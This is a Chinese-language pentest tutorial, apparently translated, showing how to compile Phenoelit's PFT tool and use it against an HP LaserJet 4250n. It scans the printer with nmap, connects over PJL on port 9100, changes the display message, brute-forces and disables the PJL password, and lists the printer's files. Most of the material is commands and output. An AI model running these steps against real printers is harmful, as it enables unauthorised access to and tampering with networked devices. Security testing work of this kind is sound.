0×01 攻击测试前的准备
以下的demo作者将使用 PHENOELIT 开发的PFT工具.
这个工具点击此处可以下载.
作者使用的操作系统是 Ubuntu 12.0.4 LTS,下载PFT工具之后将之解压,然后用以下的命令将PFT工具编译:
1
2
3
|
~/development/pentest/pjllib$ make
~/development/pentest/pjllib$ cd pft
~/development/pentest/pjllib/pft$ make
|
在类Unix机器上能完美编译,但是在windows机器上的编译方法跟Unix上有所不同,具体如下:
1
2
3
4
|
#include <iostream>
using namespace std;
#include <stdio.h> // cant live without printf() ;)
#ifndef UNIX
|
// 如果是windows系统,需要换成以下头文件:
1
2
3
4
5
6
7
|
#include <direct.h> // _getcwd() …
#include <io.h> // _open()
#include <fcntl.h> // -”-
#include <sys/types.h> // -”-
#include <sys/stat.h> // -”-
#include <conio.h> // if key pressed _kbhit()
#else
|
//如果是类Unix系统,需要换成以下头文件:
1
2
3
4
5
6
7
8
|
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h> // open(), close(), write()
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#endif //UNIX
|
0×02 攻击过程
现在我在命令行下运行,出现了以下的提示信息:
1
2
3
|
PFT - PJL file transfer
FX of Phenoelit <fx@phenoelit.de>
Version 0.7 ($Revision: 1.8 $)
|
我们使用help命令来查看PFT工具所有的使用命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
pft> help
help <command>
quit
server [hostname]
port [port number]
connect
close
env {read|print|show|set|options|changed|commit|unprotect|bruteforce}
message “Display Msg”
failure “Failure Msg”
volumes
chvol [vol:]
pwd
ls
cd [directory]
mkdir [directory]
rm [file]
get [file]
put [local file]
append [local file] [file]
lpwd
lcd [directory]
session
timeout [timeout]
pause
|
好了,工具启动成功,现在我们将HP LaserJet 4250n打印机作为攻击目标,先对目标使用NMAP进行SYN扫描。你能看到HP LaserJet 4250n打印机上开放了哪些端口。我们需要注意的是9100端口,它是JetDirect监听的端口。进过NMAP扫描之后,我们可以看到9100端口是打开的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
~/development/pentest/pjllib/pft$ sudo nmap -sS 192.168.15.200
Starting Nmap 5.21 ( http://nmap.org ) at 2013-07-03 07:30 EDT
Nmap scan report for 192.168.15.xxx
Host is up (0.0018s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http
280/tcp open http-mgmt
443/tcp open https
515/tcp open printer
631/tcp open ipp
7627/tcp open unknown
9100/tcp open jetdirect
14000/tcp open unknown
MAC Address: 00:1A:4B:16:91:2F (Hewlett Packard)
Nmap done: 1 IP address (1 host up) scanned in 1.56 seconds
Now to fire up pft and throw the goodies at it
|
接下来我们使用PFT工具连接到HP LaserJet 4250n打印机上:
1
2
3
4
5
6
7
|
pft> server 192.168.15.200
Server set to 192.168.15.200
pft> port 9100
Port set to 9100
pft> connect
Connected to 192.168.15.200:9100
Device: hp LaserJet 4250
|
好的,我们首先来修改一下打印机屏幕的显示信息:
1
2
3
4
|
pft> help message
Sets a display (ready) message on the device. Have fun.
pft> message “Altamira Rocks!!”
Display message set to ‘Altamira Rocks!!’
|
HP LaserJet 4250n打印机上PJL程序保护,PFT工具可以轻易将之破解:
1
2
3
4
|
pft> env bruteforce
try 30
INFO: force_recv_clear() timed out for 270bytes (10 sec)
Password disabled successfully
|
1
2
3
|
pft> volumes
Volume Size Free Location Label Status
0: 12619776 11786240 RAM ? READ-WRITE
|
现在 O 盘上有什么东西呢?我们来看看:
1
2
3
4
5
6
7
8
|
pft> ls
0:/
. - d
.. - d
PostScript - d
PJL - d
saveDevice - d
webServer - d
|
【E文链接 / 翻译 via@91Ri团队】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号